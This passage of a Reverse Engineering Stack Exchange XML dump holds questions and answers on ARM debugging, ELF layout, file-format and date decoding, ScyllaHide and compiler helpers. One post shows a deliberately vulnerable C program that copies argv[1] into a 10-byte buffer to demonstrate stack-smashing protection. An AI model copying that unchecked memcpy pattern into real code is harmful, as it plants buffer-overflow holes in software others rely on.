(armeabi-v7a)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Aditional notes&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;gdb sets the architecture to armv5te so it's probably not related to gdb not supporting the architecture&lt;/li&gt;&#xA;&lt;li&gt;I've tried a few other versions of gdb (7.11, 8.1, 8.3) compiled with ARM support, none work and the behaviour is inconsistent between versions&lt;/li&gt;&#xA;&lt;li&gt;I've tried gdbserver versions 7.11 and 8.3, neither made a difference&lt;/li&gt;&#xA;&lt;li&gt;The steps outlined above work fine when the android image is x86, they only fail if it's ARM.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="28379" LastEditorUserId="28379" LastEditDate="2019-11-02T01:01:46.787" LastActivityDate="2019-11-02T01:01:46.787" Title="Strange behaviour debugging Android ARM binary with gdbserver" Tags="|android|arm|gdb|qemu|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22450" PostTypeId="1" CreationDate="2019-11-02T19:09:50.817" Score="3" ViewCount="305" Body="&lt;p&gt;Here is a very ugly C program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; #include &amp;lt;stdio.h&amp;gt;&#xA; #include &amp;lt;string.h&amp;gt;&#xA; int main(int argc, char *argv[])&#xA; {&#xA;    char buffer[10];&#xA;    memcpy(buffer,argv[1],strlen(argv[1]));&#xA;    printf(&quot;%s\n&quot;, buffer);&#xA;    return 0;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am compiling this program with Stack-Smashing Protection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ gcc -fstack-protector smash.c -o smash&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is what I get during execution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ ./smash 01234567890&#xA; 01234567890v?\??nr?!??U&#xA; *** stack smashing detected ***: &amp;lt;unknown&amp;gt; terminated&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The protection works fine but I do not understand why I see unknown instead of &lt;code&gt;argv[0]&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="53" LastEditDate="2019-12-04T12:21:20.453" LastActivityDate="2019-12-06T08:39:46.197" Title="Stack-Smashing Protection error message" Tags="|assembly|stack-protector|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22451" PostTypeId="1" AcceptedAnswerId="22933" CreationDate="2019-11-02T20:59:48.880" Score="2" ViewCount="780" Body="&lt;p&gt;Is there a way to get the the base(start) address of the NonPagedPool in Windows ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that it's dynamic for Post windows 7 Operating Systems (Does this include Windows server 2008 ?)&lt;/p&gt;&#xA;" OwnerUserId="23309" LastActivityDate="2020-01-07T17:40:50.913" Title="Get NonPagedPool (NPP) Base Address on any Windows OS" Tags="|windows|memory|exploit|kernel-mode|memory-dump|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22453" PostTypeId="2" ParentId="22450" CreationDate="2019-11-02T22:38:39.720" Score="1" Body="&lt;p&gt;&lt;code&gt;strlen&lt;/code&gt; returns the length of a string &lt;strong&gt;excluding&lt;/strong&gt; terminating &lt;code&gt;NULL&lt;/code&gt; character, so &lt;code&gt;memcpy&lt;/code&gt; just copies provided characters without &lt;code&gt;0&lt;/code&gt; at the end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;printf&lt;/code&gt; will print everything it gets until it encounters &lt;code&gt;NULL&lt;/code&gt; and hence these &quot;random&quot; characters at the end.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-11-02T22:38:39.720" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22454" PostTypeId="2" ParentId="22450" CreationDate="2019-11-04T07:09:01.713" Score="2" Body="&lt;p&gt;It seems you are overwriting the &lt;code&gt;argv&lt;/code&gt; array itself so error handler  is unable to retrieve the &lt;code&gt;argv[0]&lt;/code&gt; value. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-11-04T07:09:01.713" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22456" PostTypeId="1" AcceptedAnswerId="22551" CreationDate="2019-11-04T12:08:00.653" Score="1" ViewCount="246" Body="&lt;p&gt;For my own amusement, I dumped the files of an old Nintendo DS video game I have (the company has long since gone bankrupt/closed) and am trying to extract the assets. I have recovered game text, videos, and sound, but one 58-MB file by the name of &lt;code&gt;graph.dat&lt;/code&gt;, which contains the game's graphics (probably) is giving me a hard time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Importantly, the game's text was stored in a custom format which the developers appear to have created for the game, so I strongly suspect &lt;code&gt;graph.dat&lt;/code&gt; to contain a custom graphics format as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to break the graphics file into segments by reading metadata records left in a separate file, &lt;code&gt;graph.dti&lt;/code&gt;. The metadata file contained 1910 records, separated by 44 chunks of intermediate data. Each record listed off a set of contiguous addresses in &lt;code&gt;graph.dat&lt;/code&gt;, which yielded three binary data blobs once chunked out of that file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first blob in each record, which I've nicknamed 'Huey', might be some sort of header. It's always either 32 bytes or 512 bytes long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second blob, 'Dewey', is of variable length, ranging from 704 bytes to 49 KB in size. I suspect it contains the actual image data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third blob, 'Louie', is always 1536 bytes in size. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect 'Huey' may be color palette data, and 'Louie' is some sort of color index, but I can't be sure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does anyone have any ideas?&lt;/strong&gt; Tossing 'Dewey' into GIMP's raw data import was spectacularly unsuccessful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://lioncheese.com/WhatTheDuck.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link to a sample of four different images (I'm assuming) from the file.&lt;/a&gt; Filenames were provided by my unpacker tool and were not present in the original metadata. I have 1,906 more of these where this came from, so just ask if you need them.&lt;/p&gt;&#xA;" OwnerUserId="30086" LastActivityDate="2019-11-16T09:28:30.393" Title="Deciphering an unknown graphics format" Tags="|binary-analysis|file-format|binary-diagnosis|graphics|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22457" PostTypeId="1" AcceptedAnswerId="22462" CreationDate="2019-11-04T22:48:23.967" Score="0" ViewCount="233" Body="&lt;p&gt;So I am learning about ELF, and am looking through a binary in Ghidra as I do. I've made sense of the ELF header, and now I am looking through the program header table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My binary has a bunch of entries in the program header table, but I am hung up on one in particular...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From referencing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.sco.com/developers/gabi/latest/ch5.pheader.html#p_flags&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.sco.com/developers/gabi/latest/ch5.pheader.html#p_flags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...I can see what the different flags mean. Of relevance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p_offset = 0xABCDEF&#xA;p_vaddr = 0x1BCDEF&#xA;p_filesz = &amp;lt;number&amp;gt;&#xA;p_memsz = &amp;lt;bigger number&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am able to go to the p_vaddr value in the binary, and it brings me to the &lt;code&gt;.ctors&lt;/code&gt; section. Where I do see what appears to be a list of pointers, but currently those pointers do not represent valid virtual addresses (by currently I mean they are not virtual addresses that I can &quot;go&quot; to in Ghidra). When I run the program dynamically in gdb though, I can run &lt;code&gt;x addr_of_interest&lt;/code&gt; and it succeeds and says it is pointing to something in a library blah blah.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a relevant link from GCC too, but it did not answer my question as far as I could tell...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gccint/Initialization.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gcc.gnu.org/onlinedocs/gccint/Initialization.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question therefore is this: &lt;strong&gt;When/how are these pointers mapped to valid memory, and where in the ELF file is the information that would tell me how this happens?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="29970" LastEditorUserId="29970" LastEditDate="2019-11-05T11:36:22.697" LastActivityDate="2019-11-05T14:24:17.260" Title="How to determine when/where pointers in .ctors get mapped?" Tags="|c++|elf|ghidra|x86-64|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22462" PostTypeId="2" ParentId="22457" CreationDate="2019-11-05T14:24:17.260" Score="1" Body="&lt;p&gt;Duh. Stupid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Importantly, the binary I am looking at is &lt;strong&gt;not&lt;/strong&gt; a PIE (&lt;strong&gt;P&lt;/strong&gt;osition &lt;strong&gt;I&lt;/strong&gt;ndependent &lt;strong&gt;E&lt;/strong&gt;xecutable). I had Ghidra's image base set to 0x0, rather than 0x400000 (which is the p_vaddr of the loadable segment containing all of the code, and notably, the canonical value used here for x86_64 binaries). This is the only reason the function pointers listed in &lt;code&gt;.ctors&lt;/code&gt; were not addresses Ghidra could go to. As soon as I set the image base to 0x400000 they were legitimate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;:facepalm:&lt;/p&gt;&#xA;" OwnerUserId="29970" LastActivityDate="2019-11-05T14:24:17.260" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22464" PostTypeId="1" CreationDate="2019-11-05T17:21:56.223" Score="5" ViewCount="330" Body="&lt;p&gt;Some of 8051 chips use bank switching to extend accessible code memory.&#xA;Good example is Silabs &lt;a href=&quot;https://www.silabs.com/documents/public/application-notes/an130.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;C8051F12x&lt;/a&gt;. Another example is &lt;a href=&quot;https://www.embedded.com/expand-your-8051-memory/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code area in range 0x0000..0x7ffff is common always accessible code bank.&#xA;Upper side of code memory 0x8000..0xffff is mapped to banks in extended code memory which specified by some bank selector register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is recipe to handle analysis of this kind of code overlaying?&lt;/p&gt;&#xA;" OwnerUserId="30088" LastEditorUserId="60" LastEditDate="2019-11-06T20:20:49.080" LastActivityDate="2020-06-01T12:28:03.933" Title="Radare2 8051 code bank switching" Tags="|disassembly|binary-analysis|radare2|static-analysis|8051|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22466" PostTypeId="1" AcceptedAnswerId="22467" CreationDate="2019-11-06T00:19:16.603" Score="0" ViewCount="896" Body="&lt;p&gt;I am trying to convert the following bytes into their corresponding dates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not 100% on format the dates is stored, this format is returned from the application that read them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bytes   Date value&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;25 47 = 04/19/2005&#xA;32 47 = 05/02/2005&#xA;30 47 = 04/30/2005&#xA;31 47 = 05/01/2005&#xA;D8 46 = 02/01/2005&#xA;&#xA;3D 48 = 01/24/2006&#xA;3F 48 = 01/26/2006&#xA;45 48 = 02/01/2006&#xA;&#xA;1E 53 = 09/09/2013&#xA;15 53 = 08/31/2013&#xA;4C 53 = 10/25/2013&#xA;70 53 = 11/30/2013&#xA;&#xA;3E 58 = 04/13/2017&#xA;4F 58 = 04/30/2017&#xA;&#xA;92 59 = 03/19/2018&#xA;9E 59 = 03/31/2018&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The application was developed in the 1980s, so I am assuming that if there is an epoch, it is 1980 or before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is clearly a pattern that the byte values increase as the dates increases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried subtracting the decimal value from the date as days - that did not work since the epoch was different for some dates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried to look at binary bits; 4 bits for month, 5 for day, and the rest for year. That did not work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This data came from a .dbm file created with DataEase 5.53 if that helps.&lt;/p&gt;&#xA;" OwnerUserId="30099" LastActivityDate="2019-11-07T14:57:25.047" Title="Converting 2 bytes into date" Tags="|dos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22467" PostTypeId="2" ParentId="22466" CreationDate="2019-11-06T03:34:09.753" Score="1" Body="&lt;p&gt;Well let's just pick these two:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;32 47 = 0x4732 =&amp;gt; 05/02/2005&#xA;31 47 = 0x4731 =&amp;gt; 05/01/2005&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that 16-bit value is counting the days!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well when that counting started?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x4732 =&amp;gt; 18226 days / 365 days_per_year ~&amp;gt; 50years&#xA;year 2005  - 50 = 1955&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So maybe epoch is at 1.1.1955&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Well the exact epoch is 08.06.1955. (Thanks to Ian for the answer)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;06/08/1955 =&amp;gt; 0x0000 =&amp;gt; 00 00&#xA;07/08/1955 =&amp;gt; 0x0001 =&amp;gt; 01 00&#xA;08/08/1955 =&amp;gt; 0x0002 =&amp;gt; 02 00&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30100" LastEditorUserId="30100" LastEditDate="2019-11-07T14:57:25.047" LastActivityDate="2019-11-07T14:57:25.047" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22468" PostTypeId="1" CreationDate="2019-11-06T07:59:59.950" Score="0" ViewCount="163" Body="&lt;p&gt;I need help as i'm new to reverse engineering. I need to identify a diode in a PCB that i'm currently working on. Do you guys have any idea or advise on how to identify the diode. The diode which I need to identify is D1 on the picture below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y8zVh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y8zVh.jpg&quot; alt=&quot;the diode which i want to identify is D1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30092" LastActivityDate="2020-08-02T22:02:15.253" Title="Need to identify a diode" Tags="|hardware|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22469" PostTypeId="1" CreationDate="2019-11-06T09:25:57.713" Score="1" ViewCount="645" Body="&lt;p&gt;I have a problem rewriting ELF binary to add an additional loadable segment for &lt;a href=&quot;https://paste.ubuntu.com/p/zvKkzdmXyT/&quot; rel=&quot;nofollow noreferrer&quot;&gt;add.c code&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have problem working with &lt;a href=&quot;https://pdfhost.io/v/U@uP1+nCY_Compact_Control_Flow_Integerity_in_Linuxpdf.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pdfhost.io/v/U@uP1+nCY_Compact_Control_Flow_Integerity_in_Linuxpdf.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in the &lt;a href=&quot;https://www.diffchecker.com/bGKg5ffy&quot; rel=&quot;nofollow noreferrer&quot;&gt;readelf report&lt;/a&gt; , especially the &lt;strong&gt;Section to Segment mapping&lt;/strong&gt; , the right side (modified ELF) still does not have an additional loadable segment (called as .mysection)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I am using &lt;a href=&quot;https://www.sweetscape.com/010editor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;010Editor&lt;/a&gt; together with &lt;a href=&quot;https://www.sweetscape.com/010editor/repository/templates/file_info.php?file=ELF.bt&amp;amp;type=0&amp;amp;sort=&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELF.bt&lt;/a&gt; which I believe that this 010 editor software is already using &lt;a href=&quot;https://sourceware.org/elfutils/&quot; rel=&quot;nofollow noreferrer&quot;&gt;elfutils library&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="30102" LastEditorUserId="30102" LastEditDate="2019-11-06T09:36:26.813" LastActivityDate="2019-12-28T00:01:55.600" Title="problem rewriting ELF binary to add an additional loadable segment" Tags="|elf|segmentation|section|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22470" PostTypeId="1" CreationDate="2019-11-06T14:25:36.637" Score="0" ViewCount="721" Body="&lt;p&gt;I just downloaded the binary of &lt;code&gt;ScyllaHide&lt;/code&gt; for x64dbg. According to the instructions, I need to generate an &lt;code&gt;NtApiCollection.ini&lt;/code&gt; file by running &lt;code&gt;PDBReaderx64.exe&lt;/code&gt; or &lt;code&gt;PDBReaderx86.exe&lt;/code&gt;. But I've got a long list of errors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;running  &lt;code&gt;PDBReaderx64.exe&lt;/code&gt; in win 7 64bit in a VM(virtualbox):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\work\reversetools\ScyllaHide_2019-05-31_22-45\Release&amp;gt;PDBReaderx64.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OS ID: 6.1.1.0.1.9.x64&#xA;DBGHELP: No debug info for C:\bin\ScyllaHide_2019-05-31_22-45\Release\PDBReaderx&#xA;64.exe.  Searching for dbg file&#xA;DBGHELP: SymSrv load failure: symsrv.dll&#xA;DBGHELP: C:\bin\ScyllaHide_2019-05-31_22-45\Release\PDBReaderx64.dbg - file not&#xA;found&#xA;DBGHELP: C:\bin\ScyllaHide_2019-05-31_22-45\Release\exe\PDBReaderx64.dbg - path&#xA;not found&#xA;DBGHELP: C:\bin\ScyllaHide_2019-05-31_22-45\Release\symbols\exe\PDBReaderx64.dbg&#xA; - path not found&#xA;DBGHELP: C:\bin\ScyllaHide_2019-05-31_22-45\Release\PDBReaderx64.dbg - file not&#xA;found&#xA;DBGHELP: C:\bin\ScyllaHide_2019-05-31_22-45\Release\PDBReaderx64.exe missing deb&#xA;ug info.  Searching for pdb anyway&#xA;DBGHELP: Can't use symbol server for PDBReaderx64.pdb - no header information av&#xA;ailable&#xA;DBGHELP: PDBReaderx64.pdb - file not found&#xA;DBGHELP: PDBReaderx64 - no symbols loaded&#xA;DBGHELP: ntdll.pdb - file not found&#xA;DBGHELP: ntdll - export symbols&#xA;DBGHELP: kernel32.pdb - file not found&#xA;DBGHELP: kernel32 - export symbols&#xA;DBGHELP: kernelbase.pdb - file not found&#xA;DBGHELP: KERNELBASE - export symbols&#xA;DBGHELP: dbghelp.pdb - file not found&#xA;DBGHELP: dbghelp - export symbols&#xA;DBGHELP: msvcrt.pdb - file not found&#xA;DBGHELP: msvcrt - export symbols&#xA;DBGHELP: user32.pdb - file not found&#xA;DBGHELP: user32 - export symbols&#xA;DBGHELP: gdi32.pdb - file not found&#xA;DBGHELP: GDI32 - export symbols&#xA;DBGHELP: lpk.pdb - file not found&#xA;DBGHELP: LPK - export symbols&#xA;DBGHELP: usp10.pdb - file not found&#xA;DBGHELP: USP10 - export symbols&#xA;DBGHELP: imm32.pdb - file not found&#xA;DBGHELP: IMM32 - export symbols&#xA;DBGHELP: msctf.pdb - file not found&#xA;DBGHELP: MSCTF - export symbols&#xA;Failed to get VA for NtUserQueryWindow: The specified module could not be found.&#xA;&#xA;Failed to get VA for NtUserBuildHwndList: The specified module could not be foun&#xA;d.&#xA;Failed to get VA for NtUserFindWindowEx: The specified module could not be found&#xA;.&#xA;Resolved user32.dll!NtUserBuildHwndList = 0&#xA;Resolved user32.dll!NtUserFindWindowEx = 0&#xA;Resolved user32.dll!NtUserQueryWindow = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;seems like &lt;code&gt;PDBReaderx64.exe&lt;/code&gt; is trying to look for some .dbg files but failed.  Also the 3 resolved api's are having address = 0. I have no idea what went wrong as there is no information about what this &lt;code&gt;PDBReaderx64.exe&lt;/code&gt; is doing.  Any help?&lt;/p&gt;&#xA;" OwnerUserId="8489" LastActivityDate="2019-11-09T00:58:28.627" Title="What's ScyllaHide's PDBReaderx64.exe Doing?" Tags="|x64dbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22471" PostTypeId="2" ParentId="22470" CreationDate="2019-11-06T17:34:50.757" Score="0" Body="&lt;p&gt;I don't have 50 reps to comment, but PDBs are symbols. It's failing to load symsrv.dll, which tells me that you don't have the debugging tools installed? If so, you will need to install it: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing so, it SHOULD work. I haven't used PDBReader but when symbols are needed in the debugger, it'll just download them. Not sure if it will be the same for this one. &lt;/p&gt;&#xA;" OwnerUserId="29798" LastActivityDate="2019-11-06T17:34:50.757" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22472" PostTypeId="2" ParentId="22468" CreationDate="2019-11-06T20:01:52.663" Score="1" Body="&lt;p&gt;Electronics are not really our focus and it's not clear at all what you plan to do with the information but a quick search found &lt;a href=&quot;https://ourpastimes.com/identify-diode-markings-7679008.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog post&lt;/a&gt; which says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h2&gt;Signal Diodes&lt;/h2&gt;&#xA;&lt;p&gt;The smallest discrete diodes are designed to handle&#xA;about 100 milliamps of current. These devices are typically packaged&#xA;in tiny &lt;strong&gt;glass cylinders&lt;/strong&gt; with a connecting lead at each end. A &lt;strong&gt;stripe&lt;/strong&gt;&#xA;on the cylinder marks the diode’s cathode, making the opposite side&#xA;the anode. With some diodes, you may need a magnifying glass to see&#xA;the stripe clearly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;(emphasis mine)&lt;/p&gt;&#xA;&lt;p&gt;IF you need more help with the circuit, I'd suggest asking on &lt;a href=&quot;https://electronics.stackexchange.com/&quot;&gt;https://electronics.stackexchange.com/&lt;/a&gt; where there are many more experts on this topic.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-11-06T20:01:52.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22473" PostTypeId="5" CreationDate="2019-11-06T20:25:58.870" Score="0" Body="" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2019-11-06T20:25:58.870" LastActivityDate="2019-11-06T20:25:58.870" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22474" PostTypeId="4" CreationDate="2019-11-06T20:25:58.870" Score="0" Body="8051 aka MCS-51 is the 8-bit microcontroller architecture created by Intel in 1980. The original chips were discontinued in 1996 but it still remains one of the most ubiquitous embedded architectures for simple control tasks." OwnerUserId="60" LastEditorUserId="60" LastEditDate="2019-11-06T20:25:58.870" LastActivityDate="2019-11-06T20:25:58.870" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22475" PostTypeId="2" ParentId="21225" CreationDate="2019-11-07T00:26:07.537" Score="2" Body="&lt;p&gt;To program this MCU try using the programmer software at this site:&#xA;&lt;a href=&quot;http://www.stcmicro.com/rjxz.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.stcmicro.com/rjxz.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use USB to serial TTL to flash the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="30105" LastEditorUserId="266" LastEditDate="2019-11-09T23:59:51.820" LastActivityDate="2019-11-09T23:59:51.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22476" PostTypeId="1" AcceptedAnswerId="22478" CreationDate="2019-11-07T03:51:19.397" Score="0" ViewCount="405" Body="&lt;p&gt;I was practising reverse engineering on some Windows x64 applications when I came across this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call alloca_probe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This &lt;em&gt;alloca_probe&lt;/em&gt; function has some strange implementation:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;EAX is used as a function argument (for the allocation size)&lt;/li&gt;&#xA;&lt;li&gt;The prolog saves current state of R10 and R11 even though they are considered volatile registers by convention.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As I can recall, the x64 calling convention by Microsoft indicates:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;RCX, RDX, R8, and R9 should be used as the first 4 function arguments.&lt;/li&gt;&#xA;&lt;li&gt;RAX, RCX, RDX, R8, R9, R10, R11 are all volatile registers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;alloca_probe&lt;/em&gt; function clearly doesn't follow this convention...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why doesn't this function follow the convention, and how does the compiler know how to use these type of functions (e.g using EAX as first argument)?&lt;/p&gt;&#xA;" OwnerUserId="30106" LastActivityDate="2019-11-07T07:55:17.020" Title="Why doesn't alloca_probe follow x64 calling convention?" Tags="|ida|assembly|calling-conventions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22477" PostTypeId="2" ParentId="22377" CreationDate="2019-11-07T05:08:34.967" Score="1" Body="&lt;p&gt;The solution is to delete your project (or use new) and add &lt;a href=&quot;https://ghidra.re/ghidra_docs/analyzeHeadlessREADME.html#deleteProject]&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;-deleteproject&lt;/code&gt;&lt;/a&gt; next time when you run your &lt;code&gt;analyzeHeadless&lt;/code&gt; script.&lt;/p&gt;&#xA;" OwnerUserId="27674" LastActivityDate="2019-11-07T05:08:34.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22478" PostTypeId="2" ParentId="22476" CreationDate="2019-11-07T07:55:17.020" Score="1" Body="&lt;p&gt;This is not a standard function but a compiler helper, used by the compiler to perform some necessary housekeeping (allocate extra stack space) so it doesn’t have to follow the ABI for “normal” functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because it is called in the prolog of the parent function while the user code has not started executing yet, special care needs to be taken. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EAX use likely comes from the x86 version which has similar constraints and could not use stack arguments. In theory any register could have been used but    &lt;code&gt;mov eax, imm&lt;/code&gt; has a short encoding which saves space in the prolog. &#xA;The normally volatile registers need to be saved because they need to be preserved by the function’s prolog we’re executing and if they get trashed there may be all kinds of wrong results. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-11-07T07:55:17.020" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22479" PostTypeId="2" ParentId="22442" CreationDate="2019-11-07T08:22:25.620" Score="2" Body="&lt;p&gt;There’s very little chance of success if both encryption algorithm and the key is unknown (besides trivial cases like single byte XOR) so you need to work on discovering those things. &#xA;Since you have the program which can read the file, the information must be inside it. You can try to find the decryption function by static analysis (disassembly/decompilation) or dynamic (debugging). Once you found it, you can either try to determine the algorithm (e.g. from the magic constants used by the code) or treat it as a black box and reproduce the algorithm in your own implementation. One more approach is to use the code as is and either call it with your own data or run the program normally and capture the data in memory one it’s been decrypted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary, there is no magic one click solution but as long as you have something which can decrypt the file and can inspect/observe it, the task is solvable. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-11-07T08:22:25.620" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
